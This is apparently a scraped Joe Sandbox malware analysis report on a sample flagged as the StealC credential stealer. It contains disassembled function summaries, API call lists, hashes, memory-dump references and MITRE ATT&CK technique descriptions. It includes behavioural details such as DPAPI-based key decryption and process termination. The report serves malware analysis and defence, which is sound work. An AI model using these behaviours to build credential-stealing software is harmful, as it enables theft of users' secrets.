Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: bb38d519e6650bf2834154114c4c1f53e0bca1a7d8d67b4c8dcbfa9dcc740bff
Instruction ID: e884cc812019180839e2eb0cac5d3ab26b4240ea7f33720f35b619636e9f6499
Opcode Fuzzy Hash: bb38d519e6650bf2834154114c4c1f53e0bca1a7d8d67b4c8dcbfa9dcc740bff
Instruction Fuzzy Hash: 7C3150B6D10209ABCB04DBE4DD89FEEB7B8AF48304F14551DE902B7242E7319A05CBA1

Function 00ED94D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00ED94EB

Part of subcall function 00ED8D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00ED951E,00000000), ref: 00ED8D5B
Part of subcall function 00ED8D50: RtlAllocateHeap.NTDLL(00000000), ref: 00ED8D62
Part of subcall function 00ED8D50: wsprintfW.USER32 ref: 00ED8D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00ED95AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00ED95C9
CloseHandle.KERNEL32(00000000), ref: 00ED95D6

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 1a3f0d393cfecd51d7bbcab8bd45c42bc7a2db1136f1ec84bc0718bfc760bcdb
Instruction ID: 42c8a5119befa2acba33d04971cbe5506b74862dfb32400ac42073113103f767
Opcode Fuzzy Hash: 1a3f0d393cfecd51d7bbcab8bd45c42bc7a2db1136f1ec84bc0718bfc760bcdb
Instruction Fuzzy Hash: C8313E71E003089FDB15DBE0DD49BEDB7B8EF44300F10546AE506AB288DBB49A86CB51

Function 00EDC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00EDC74E

Part of subcall function 00EDBF9F: __amsg_exit.LIBCMT ref: 00EDBFAF

__getptd.LIBCMT ref: 00EDC765
__amsg_exit.LIBCMT ref: 00EDC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00EDC797

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 56de016301ca9677f038b97fa7ea0548783fe265edf95e4b9c4e951dd0888db0
Instruction ID: c1378bcf0ee1c27e4fb36f779a32a548cf433f0aace2bcc17b87d3f3312c1b0c
Opcode Fuzzy Hash: 56de016301ca9677f038b97fa7ea0548783fe265edf95e4b9c4e951dd0888db0
Instruction Fuzzy Hash: 9FF0F032A00306DBDB20BBB8884274E33E0EF00764F35214BF014BA3D2EB245943CE46

Function 00ED4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED4F7A
lstrcat.KERNEL32(?,00EE1070), ref: 00ED4F97
lstrcat.KERNEL32(?,01B889A0), ref: 00ED4FAB
lstrcat.KERNEL32(?,00EE1074), ref: 00ED4FBD

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED492C
Part of subcall function 00ED4910: FindFirstFileA.KERNEL32(?,?), ref: 00ED4943

Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FDC), ref: 00ED4971
Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FE0), ref: 00ED4987
Part of subcall function 00ED4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00ED4B7D
Part of subcall function 00ED4910: FindClose.KERNEL32(000000FF), ref: 00ED4B92

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d24e9aad3adb657adce81a7ee1766aa3689c6754f4a9175497075c857b4ae367
Instruction ID: dcc3ed6400791c93ddd1efa1bad57188a0f5785c03382146193312756c73b575
Opcode Fuzzy Hash: d24e9aad3adb657adce81a7ee1766aa3689c6754f4a9175497075c857b4ae367
Instruction Fuzzy Hash: 6021B8B6D0030867C768F760EC46EED337CAB54300F0055A9B659A3185EEB597C98B91

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00ED9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00EC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00EC4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00ED9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00EC6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00ED5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00ED17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00ED7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 00ED69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00EC1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00ED6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00EC47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00ED51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON